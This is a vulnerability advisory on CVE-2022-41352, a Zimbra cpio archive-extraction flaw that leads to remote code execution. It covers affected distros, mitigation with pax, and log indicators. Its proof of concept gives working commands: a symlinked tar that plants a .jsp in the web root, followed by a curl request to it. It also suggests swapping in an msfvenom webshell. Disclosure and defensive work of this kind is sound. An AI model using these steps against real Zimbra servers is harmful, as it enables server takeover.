Description
On September 25, 2022, CVE-2022-41352 was filed for Zimbra Collaboration Suite. The vulnerability is a remote code execution flaw that arises from unsafe usage of the cpio utility, specifically from Zimbra’s antivirus engine’s (Amavis) use of the vulnerable cpio utility to scan inbound emails. CVE-2022-41352 is effectively identical to CVE-2022-30333, just a different file format (.cpio and .tar as opposed to .rar).
To exploit this vulnerability, an attacker would email a .cpio, .tar, or .rpm to an affected server. When Amavis inspects it for malware, it uses cpio to extract the file. Since cpio has no mode where it can be securely used on untrusted files (as discussed in our CVE-2015-1197 writeup), the attacker can write to any path on the filesystem that the zimbra user can access. The most likely outcome is for the attacker to plant a shell in the web root to gain remote code execution, although other avenues likely exist.
As of October 2022, CVE-2022-41352 is not patched but Zimbra has acknowledged it in a blog post, where they recommend mitigations (that we detail below). It was discovered in the wild due to active exploitation.
Affected Systems
To be exploitable, two conditions must exist:
- A vulnerable version of cpio must be installed, which is the case on basically every system (as discussed in our CVE-2015-1197 writeup)
- The pax utility must not be installed, as Amavisd prefers pax and pax is not vulnerable
Unfortunately, pax is not installed by default on Red Hat-based distros, and therefore they are vulnerable by default. We tested all (current) Linux distros that Zimbra officially supports in their default configurations, and determined that:
- Oracle Linux 8 - vulnerable
- Red Hat Enterprise Linux 8 - vulnerable
- Rocky Linux 8 - vulnerable
- CentOS 8 - vulnerable
- Ubuntu 20.04 - not vulnerable (pax is installed by default)
- Ubuntu 18.04 - not vulnerable (pax is installed, cpio has Ubuntu’s custom patch)
Zimbra says that their plan is to remove the dependency on cpio entirely by making pax a prerequisite of for Zimbra Collaboration Suite. Moving to pax is probably the best option, since cpio cannot be used securely since most major operating systems removed a security patch.
PoC
The following demonstration creates a .jsp file in the web root that prints “Hello world!” - note that this could easily be replaced with a .jsp webshell generated by msfvenom:
$ sudo mkdir -p /opt/zimbra/jetty_base/webapps/zimbra/public
$ sudo chown ron.ron /opt/zimbra/jetty_base/webapps/zimbra/public
$ ln -s /opt/zimbra/jetty_base/webapps/zimbra/public ./akbdemo
$ echo '<% out.println("Hello world!"); %>' > akbdemo/akbtest.jsp
$ tar -cf akbdemo.tar akbdemo akbdemo/akbtest.jsp
$ tar -tvf akbdemo.tar
lrwxrwxrwx ron/ron 0 2022-10-06 09:25 akbdemo -> /opt/zimbra/jetty_base/webapps/zimbra/public
-rw-r--r-- ron/ron 35 2022-10-06 09:26 akbdemo/akbtest.jsp
[Email akbtest.tar to the target Zimbra server]
$ curl -k 'https://172.16.166.158/public/akbtest.jsp'
Hello world!Privilege Escalation
In addition to this cpio 0-day vulnerability, Zimbra also suffers from a 0-day privilege escalation vulnerability, which has a Metasploit module. That means that this 0-day in cpio can lead directly to a remote root compromise of Zimbra Collaboration Suite servers!
Recommendations
We recommend monitoring for updates from Zimbra, as well as applying their recommended workaround, which is to install the pax archive utility, then reboot!
Amavis will prefer pax over cpio if it’s installed.
IoCs
Much like CVE-2022-30333, some evidence can be found in logs, but the attacker has the access required to amend or delete the logs - especially if they escalate to root.
After successful exploitation, the only obvious log entry simply logged the filename in /opt/zimbra/log/mailbox.log:
/opt/zimbra/log/mailbox.log:2022-10-05 13:56:47,385 INFO [qtp252651381-138:https://172.16.166.158/service/soap/SendMsgRequest] [[email protected];mid=1;ip=172.16.166.158;port=34994;ua=ZimbraWebClient - GC105 (Linux)/8.8.15_GA_4372;soapId=d22c8e0;] FileUploadServlet - saveUpload(): received Upload: { accountId=ef1decc2-07bc-4679-a3e3-691c5c730c4e, time=Wed Oct 05 13:56:47 EDT 2022, size=512, uploadId=0a35c960-1317-43a9-9864-788492aa322c:51a515fa-204e-4896-88cd-5baf6313ef31, name=test.cpio, path=null }Scanning that log for .cpio, .tar, and .rpm files might reveal exploitation attempts.
Additionally, the most likely avenue for exploitation is to write a shell to the public web root (/opt/zimbra/jetty_base/webapps/...), but that shell could easily be deleted after it executes.
References
